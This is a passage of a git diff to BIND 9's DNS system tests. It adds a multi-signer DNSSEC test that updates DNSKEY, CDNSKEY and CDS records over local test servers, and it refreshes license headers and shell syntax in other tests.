+echo_i "add dnskey record: update zone ${ZONE} at ns3 with ZSK from provider ns4 ($n)"
+ret=0
+set_server "ns3" "10.53.0.3"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "ns4/${ZONE}.zsk")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Check the new DNSKEY RRset.
+n=$((n+1))
+echo_i "check zone ${ZONE} DNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 zsks_are_published || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Check the logs for find zone keys errors.
+n=$((n+1))
+echo_i "make sure we did not try to sign with the keys added with nsupdate for zone ${ZONE} ($n)"
+ret=0
+grep "dns_dnssec_findzonekeys: error reading ./K${ZONE}.*\.private: file not found" "${DIR}/named.run" && ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Verify again.
+dnssec_verify
+
+n=$((n+1))
+echo_i "add dnskey record: - update zone ${ZONE} at ns4 with ZSK from provider ns3 ($n)"
+ret=0
+set_server "ns4" "10.53.0.4"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "ns3/${ZONE}.zsk")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Check the new DNSKEY RRset.
+n=$((n+1))
+echo_i "check zone ${ZONE} DNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 zsks_are_published || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Check the logs for find zone keys errors.
+n=$((n+1))
+echo_i "make sure we did not try to sign with the keys added with nsupdate for zone ${ZONE} ($n)"
+ret=0
+grep "dns_dnssec_findzonekeys: error reading ./K${ZONE}.*\.private: file not found" "${DIR}/named.run" && ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Verify again.
+dnssec_verify
+no_dnssec_in_journal
+
+n=$((n+1))
+echo_i "remove dnskey record: - try to remove ns3 ZSK from provider ns3 (should fail) ($n)"
+ret=0
+set_server "ns3" "10.53.0.3"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "ns3/${ZONE}.zsk")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Both ZSKs should still be published.
+n=$((n+1))
+echo_i "check zone ${ZONE} DNSKEY RRset after failed update ($n)"
+ret=0
+retry_quiet 10 zsks_are_published || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "remove dnskey record: remove ns4 ZSK from provider ns3 ($n)"
+ret=0
+set_server "ns3" "10.53.0.3"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "ns4/${ZONE}.zsk")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# We should have only the KSK and ZSK from provider ns3.
+n=$((n+1))
+echo_i "check zone ${ZONE} DNSKEY RRset after update ($n)"
+ret=0
+check_keys
+check_apex
+dnssec_verify
+
+n=$((n+1))
+echo_i "remove dnskey record: try to remove ns4 ZSK from provider ns4 (should fail) ($n)"
+ret=0
+set_server "ns4" "10.53.0.4"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "ns4/${ZONE}.zsk")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Both ZSKs should still be published.
+n=$((n+1))
+echo_i "check zone ${ZONE} DNSKEY RRset after failed update ($n)"
+ret=0
+retry_quiet 10 zsks_are_published || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "remove dnskey record: remove ns3 ZSK from provider ns4 ($n)"
+ret=0
+set_server "ns4" "10.53.0.4"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "ns3/${ZONE}.zsk")
+echo send
+) | $NSUPDATE
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# We should have only the KSK and ZSK from provider ns4.
+n=$((n+1))
+echo_i "check zone ${ZONE} DNSKEY RRset after update ($n)"
+ret=0
+check_keys
+check_apex
+dnssec_verify
+no_dnssec_in_journal
+
+#
+# Update CDNSKEY RRset.
+#
+
+# Check that the CDNSKEY from both providers are published.
+records_published() {
+	_rrtype=$1
+	_expect=$2
+
+	dig_with_opts "$ZONE" "@${SERVER}" "${_rrtype}" > "dig.out.$DIR.test$n" || return 1
+	lines=$(awk -v rt="${_rrtype}" '$4 == rt {print}' dig.out.$DIR.test$n | wc -l)
+	test "$lines" -eq "$_expect" || return 1
+}
+
+# Retrieve CDNSKEY records from the other provider.
+dig_with_opts ${ZONE} @10.53.0.3 CDNSKEY > dig.out.ns3.cdnskey
+awk '$4 == "CDNSKEY" {print}' dig.out.ns3.cdnskey > cdnskey.ns3
+dig_with_opts ${ZONE} @10.53.0.4 CDNSKEY > dig.out.ns4.cdnskey
+awk '$4 == "CDNSKEY" {print}' dig.out.ns4.cdnskey > cdnskey.ns4
+
+n=$((n+1))
+echo_i "add cdnskey record: update zone ${ZONE} at ns3 with CDNSKEY from provider ns4 ($n)"
+ret=0
+set_server "ns3" "10.53.0.3"
+# Initially there should be one CDNSKEY.
+retry_quiet 10 records_published CDNSKEY 1 || ret=1
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "cdnskey.ns4")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be two CDNSKEY records (we test that BIND does not
+# skip it during DNSSEC maintenance).
+n=$((n+1))
+echo_i "check zone ${ZONE} CDNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDNSKEY 2 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "add cdnskey record: update zone ${ZONE} at ns4 with CDNSKEY from provider ns3 ($n)"
+ret=0
+set_server "ns4" "10.53.0.4"
+# Initially there should be one CDNSKEY.
+retry_quiet 10 records_published CDNSKEY 1 || ret=1
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "cdnskey.ns3")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be two CDNSKEY records (we test that BIND does not
+# skip it during DNSSEC maintenance).
+n=$((n+1))
+echo_i "check zone ${ZONE} CDNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDNSKEY 2 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# No DNSSEC in raw journal.
+no_dnssec_in_journal
+
+n=$((n+1))
+echo_i "remove cdnskey record: remove ns4 CDNSKEY from provider ns3 ($n)"
+ret=0
+set_server "ns3" "10.53.0.3"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "cdnskey.ns4")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be one CDNSKEY record again.
+n=$((n+1))
+echo_i "check zone ${ZONE} CDNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDNSKEY 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "remove cdnskey record: remove ns3 CDNSKEY from provider ns4 ($n)"
+ret=0
+set_server "ns4" "10.53.0.4"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "cdnskey.ns3")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be one CDNSKEY record again.
+n=$((n+1))
+echo_i "check zone ${ZONE} CDNSKEY RRset after update ($n)"\
+ret=0
+retry_quiet 10 records_published CDNSKEY 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# No DNSSEC in raw journal.
+no_dnssec_in_journal
+
+#
+# Update CDS RRset.
+#
+
+# Retrieve CDS records from the other provider.
+dig_with_opts ${ZONE} @10.53.0.3 CDS > dig.out.ns3.cds
+awk '$4 == "CDS" {print}' dig.out.ns3.cds > cds.ns3
+dig_with_opts ${ZONE} @10.53.0.4 CDS > dig.out.ns4.cds
+awk '$4 == "CDS" {print}' dig.out.ns4.cds > cds.ns4
+
+n=$((n+1))
+echo_i "add cds record: update zone ${ZONE} at ns3 with CDS from provider ns4 ($n)"
+ret=0
+set_server "ns3" "10.53.0.3"
+# Initially there should be one CDS.
+retry_quiet 10 records_published CDS 1 || ret=1
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "cds.ns4")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be two CDS records (we test that BIND does not
+# skip it during DNSSEC maintenance).
+n=$((n+1))
+echo_i "check zone ${ZONE} CDS RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDS 2 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "add cds record: update zone ${ZONE} at ns4 with CDS from provider ns3 ($n)"
+ret=0
+set_server "ns4" "10.53.0.4"
+# Initially there should be one CDS.
+retry_quiet 10 records_published CDS 1 || ret=1
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "cds.ns3")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be two CDS records (we test that BIND does not
+# skip it during DNSSEC maintenance).
+n=$((n+1))
+echo_i "check zone ${ZONE} CDS RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDS 2 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# No DNSSEC in raw journal.
+no_dnssec_in_journal
+
+n=$((n+1))
+echo_i "remove cds record: remove ns4 CDS from provider ns3 ($n)"
+ret=0
+set_server "ns3" "10.53.0.3"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "cds.ns4")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be one CDS record again.
+n=$((n+1))
+echo_i "check zone ${ZONE} CDS RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDS 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "remove cds record: remove ns3 CDS from provider ns4 ($n)"
+ret=0
+set_server "ns4" "10.53.0.4"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "cds.ns3")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be one CDS record again.
+n=$((n+1))
+echo_i "check zone ${ZONE} CDS RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDS 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# No DNSSEC in raw journal.
+no_dnssec_in_journal
+
+#
+# Check secondary server behaviour.
+#
+set_zone "model2.secondary"
+set_policy "model2" "2" "3600"
+
+set_server "ns3" "10.53.0.3"
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+set_keytimes_model2
+check_keytimes
+check_apex
+dnssec_verify
+
+set_server "ns4" "10.53.0.4"
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+set_keytimes_model2
+check_keytimes
+check_apex
+dnssec_verify
+
+#
+# Update DNSKEY RRset.
+#
+n=$((n+1))
+echo_i "add dnskey record: update zone ${ZONE} at ns5 with ZSKs from providers ns3 and ns4 ($n)"
+ret=0
+set_server "ns5" "10.53.0.5"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "ns3/${ZONE}.zsk")
+echo update add $(cat "ns4/${ZONE}.zsk")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# NS3
+n=$((n+1))
+set_server "ns3" "10.53.0.3"
+echo_i "check server ${DIR} zone ${ZONE} DNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 zsks_are_published || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+grep "dns_dnssec_findzonekeys: error reading ./K${ZONE}.*\.private: file not found" "${DIR}/named.run" && ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# NS4
+n=$((n+1))
+set_server "ns4" "10.53.0.4"
+echo_i "check server ${DIR} zone ${ZONE} DNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 zsks_are_published || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+grep "dns_dnssec_findzonekeys: error reading ./K${ZONE}.*\.private: file not found" "${DIR}/named.run" && ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "remove dnskey record: remove ns3 and ns4 DNSKEY records from primary ns5 ($n)"
+ret=0
+set_server "ns5" "10.53.0.5"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "ns3/${ZONE}.zsk")
+echo update del $(cat "ns4/${ZONE}.zsk")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be one DNSKEY record again.
+# While we did remove both DNSKEY records, the bump in the wire signer, i.e
+# the secondary inline-signing zone, should add back the DNSKEY belonging to
+# its own KSK when re-signing the zone.
+#
+# NS3
+n=$((n+1))
+set_server "ns3" "10.53.0.3"
+echo_i "check server ${DIR} zone ${ZONE} DNSKEY RRset after update ($n)"
+ret=0
+check_keys
+check_apex
+dnssec_verify
+no_dnssec_in_journal
+# NS4
+n=$((n+1))
+set_server "ns4" "10.53.0.4"
+echo_i "check server ${DIR} zone ${ZONE} DNSKEY RRset after update ($n)"
+ret=0
+check_keys
+check_apex
+dnssec_verify
+no_dnssec_in_journal
+
+#
+# Update CDNSKEY RRset.
+#
+
+# Retrieve CDNSKEY records from the providers.
+n=$((n+1))
+echo_i "check initial CDSNKEY response for zone ${ZONE} at ns3 and ns4 ($n)"
+ret=0
+dig_with_opts ${ZONE} @10.53.0.3 CDNSKEY > dig.out.ns3.secondary.cdnskey
+awk '$4 == "CDNSKEY" {print}' dig.out.ns3.secondary.cdnskey > secondary.cdnskey.ns3
+dig_with_opts ${ZONE} @10.53.0.4 CDNSKEY > dig.out.ns4.secondary.cdnskey
+awk '$4 == "CDNSKEY" {print}' dig.out.ns4.secondary.cdnskey > secondary.cdnskey.ns4
+# Initially there should be one CDNSKEY.
+set_server "ns3" "10.53.0.3"
+retry_quiet 10 records_published CDNSKEY 1 || ret=1
+set_server "ns4" "10.53.0.4"
+retry_quiet 10 records_published CDNSKEY 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "add cdnskey record: update zone ${ZONE} at ns5 with CDNSKEY records from providers ns3 and ns4 ($n)"
+ret=0
+set_server "ns5" "10.53.0.5"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "secondary.cdnskey.ns3")
+echo update add $(cat "secondary.cdnskey.ns4")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be two CDNSKEY records (we test that BIND does not
+# skip it during DNSSEC maintenance).
+#
+# NS3
+n=$((n+1))
+set_server "ns3" "10.53.0.3"
+echo_i "check server ${DIR} zone ${ZONE} CDNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDNSKEY 2 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+# NS4
+n=$((n+1))
+set_server "ns4" "10.53.0.4"
+echo_i "check server ${DIR} zone ${ZONE} CDNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDNSKEY 2 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+
+n=$((n+1))
+echo_i "remove cdnskey record: remove ns3 and ns4 CDNSKEY records from primary ns5 ($n)"
+ret=0
+set_server "ns5" "10.53.0.5"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "secondary.cdnskey.ns3")
+echo update del $(cat "secondary.cdnskey.ns4")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be one CDNSKEY record again.
+# While we did remove both CDNSKEY records, the bump in the wire signer, i.e
+# the secondary inline-signing zone, should add back the CDNSKEY belonging to
+# its own KSK when re-signing the zone.
+#
+# NS3
+n=$((n+1))
+set_server "ns3" "10.53.0.3"
+echo_i "check server ${DIR} zone ${ZONE} CDNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDNSKEY 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+# NS4
+n=$((n+1))
+set_server "ns4" "10.53.0.4"
+echo_i "check server ${DIR} zone ${ZONE} CDNSKEY RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDNSKEY 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+
+#
+# Update CDS RRset.
+#
+
+# Retrieve CDS records from the other provider.
+n=$((n+1))
+echo_i "check initial CDS response for zone ${ZONE} at ns3 and ns4 ($n)"
+ret=0
+dig_with_opts ${ZONE} @10.53.0.3 CDS > dig.out.ns3.secondary.cds
+awk '$4 == "CDS" {print}' dig.out.ns3.secondary.cds > secondary.cds.ns3
+dig_with_opts ${ZONE} @10.53.0.4 CDS > dig.out.ns4.secondary.cds
+awk '$4 == "CDS" {print}' dig.out.ns4.secondary.cds > secondary.cds.ns4
+# Initially there should be one CDS.
+set_server "ns3" "10.53.0.3"
+retry_quiet 10 records_published CDS 1 || ret=1
+set_server "ns4" "10.53.0.4"
+retry_quiet 10 records_published CDS 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "add cds record: update zone ${ZONE} at ns5 with CDS from provider ns4 ($n)"
+ret=0
+set_server "ns5" "10.53.0.5"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update add $(cat "secondary.cds.ns3")
+echo update add $(cat "secondary.cds.ns4")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be two CDS records (we test that BIND does not
+# skip it during DNSSEC maintenance).
+#
+# NS3
+n=$((n+1))
+set_server "ns3" "10.53.0.3"
+echo_i "check server ${DIR} zone ${ZONE} CDS RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDS 2 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+# NS4
+n=$((n+1))
+set_server "ns4" "10.53.0.4"
+echo_i "check server ${DIR} zone ${ZONE} CDS RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDS 2 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+
+n=$((n+1))
+echo_i "remove cds record: remove ns3 and ns4 CDS records from primary ns5 ($n)"
+ret=0
+set_server "ns5" "10.53.0.5"
+(
+echo zone "${ZONE}"
+echo server "${SERVER}" "${PORT}"
+echo update del $(cat "secondary.cds.ns3")
+echo update del $(cat "secondary.cds.ns4")
+echo send
+) | $NSUPDATE || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# Now there should be one CDS record again.
+# While we did remove both CDS records, the bump in the wire signer, i.e
+# the secondary inline-signing zone, should add back the CDS belonging to
+# its own KSK when re-signing the zone.
+#
+# NS3
+n=$((n+1))
+set_server "ns3" "10.53.0.3"
+echo_i "check server ${DIR} zone ${ZONE} CDS RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDS 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+# NS4
+n=$((n+1))
+set_server "ns4" "10.53.0.4"
+echo_i "check server ${DIR} zone ${ZONE} CDS RRset after update ($n)"
+ret=0
+retry_quiet 10 records_published CDS 1 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+dnssec_verify
+no_dnssec_in_journal
+
+echo_i "exit status: $status"
+[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/multisigner/tests_sh_multisigner.py b/bin/tests/system/multisigner/tests_sh_multisigner.py
new file mode 100644
index 0000000000..1419270b17
--- /dev/null
+++ b/bin/tests/system/multisigner/tests_sh_multisigner.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_multisigner(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/names/clean.sh b/bin/tests/system/names/clean.sh
index 5d9d7b3181..1f8371bfcc 100644
--- a/bin/tests/system/names/clean.sh
+++ b/bin/tests/system/names/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/names/ns1/example.db b/bin/tests/system/names/ns1/example.db
index 0ce948a73a..a3e9f90f68 100644
--- a/bin/tests/system/names/ns1/example.db
+++ b/bin/tests/system/names/ns1/example.db
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 300	; 5 minutes
 @			IN SOA	mname1. . (
 				2000042407 ; serial
diff --git a/bin/tests/system/names/ns1/named.conf.in b/bin/tests/system/names/ns1/named.conf.in
index 9b88e099e6..c065e38f1b 100644
--- a/bin/tests/system/names/ns1/named.conf.in
+++ b/bin/tests/system/names/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -21,6 +23,7 @@ options {
 	notify yes;
 	ixfr-from-differences yes;
 	check-integrity no;
+	dnssec-validation no;
 };
 
 
diff --git a/bin/tests/system/names/setup.sh b/bin/tests/system/names/setup.sh
index de764c535f..82240a7c1b 100644
--- a/bin/tests/system/names/setup.sh
+++ b/bin/tests/system/names/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/names/tests.sh b/bin/tests/system/names/tests.sh
index 24e154b842..9546298451 100644
--- a/bin/tests/system/names/tests.sh
+++ b/bin/tests/system/names/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+nosea +stat +noquest +nocomm +nocmd -p ${PORT}"
@@ -17,28 +21,27 @@ status=0
 
 echo_i "Getting message size with compression enabled"
 $DIG $DIGOPTS -b 10.53.0.1 @10.53.0.1 mx example > dig.compen.test
-COMPEN=`grep ';; MSG SIZE' dig.compen.test |sed -e "s/.*: //g"`
+COMPEN=$(grep ';; MSG SIZE' dig.compen.test |sed -e "s/.*: //g")
 cat dig.compen.test  |grep -v ';;' |sort > dig.compen.sorted.test
 
 echo_i "Getting message size with compression disabled"
 $DIG $DIGOPTS -b 10.53.0.2 @10.53.0.1 mx example > dig.compdis.test
-COMPDIS=`grep ';; MSG SIZE' dig.compdis.test |sed -e "s/.*: //g"`
+COMPDIS=$(grep ';; MSG SIZE' dig.compdis.test |sed -e "s/.*: //g")
 cat dig.compdis.test  |grep -v ';;' |sort > dig.compdis.sorted.test
 
 # the compression disabled message should be at least twice as large as with
 # compression disabled, but the content should be the same
 echo_i "Checking if responses are identical other than in message size"
-$DIFF dig.compdis.sorted.test dig.compen.sorted.test >/dev/null
-ret=$?
+{ diff dig.compdis.sorted.test dig.compen.sorted.test >/dev/null; ret=$?; } || true
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking if message with compression disabled is significantly larger"
 echo_i "Disabled $COMPDIS vs enabled $COMPEN"
-val=`expr \( $COMPDIS \* 3 / 2 \) / $COMPEN`
+val=$(( (COMPDIS * 3 / 2) / COMPEN))
 if [ $val -le 1 ]; then
 	echo_i "failed"
-	status=`expr $status + 1`
+	status=$((status + 1))
 fi;
 
 echo_i "exit status: $status"
diff --git a/bin/tests/system/names/tests_sh_names.py b/bin/tests/system/names/tests_sh_names.py
new file mode 100644
index 0000000000..ebeed2ff56
--- /dev/null
+++ b/bin/tests/system/names/tests_sh_names.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_names(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/notify/clean.sh b/bin/tests/system/notify/clean.sh
index e04f1bfa72..bf543259bb 100644
--- a/bin/tests/system/notify/clean.sh
+++ b/bin/tests/system/notify/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,10 +15,10 @@
 # Clean up after zone transfer tests.
 #
 
-rm -f */named.conf
-rm -f */named.memstats
-rm -f */named.port
-rm -f */named.run */named.run.prev
+rm -f ./*/named.conf
+rm -f ./*/named.memstats
+rm -f ./*/named.port
+rm -f ./*/named.run ./*/named.run.prev
 rm -f awk.out.ns?.test*
 rm -f dig.out.?.ns5.test*
 rm -f dig.out.ns2.test*
diff --git a/bin/tests/system/notify/ns1/named.conf.in b/bin/tests/system/notify/ns1/named.conf.in
index 6bbbe90ea1..41a46be0d0 100644
--- a/bin/tests/system/notify/ns1/named.conf.in
+++ b/bin/tests/system/notify/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
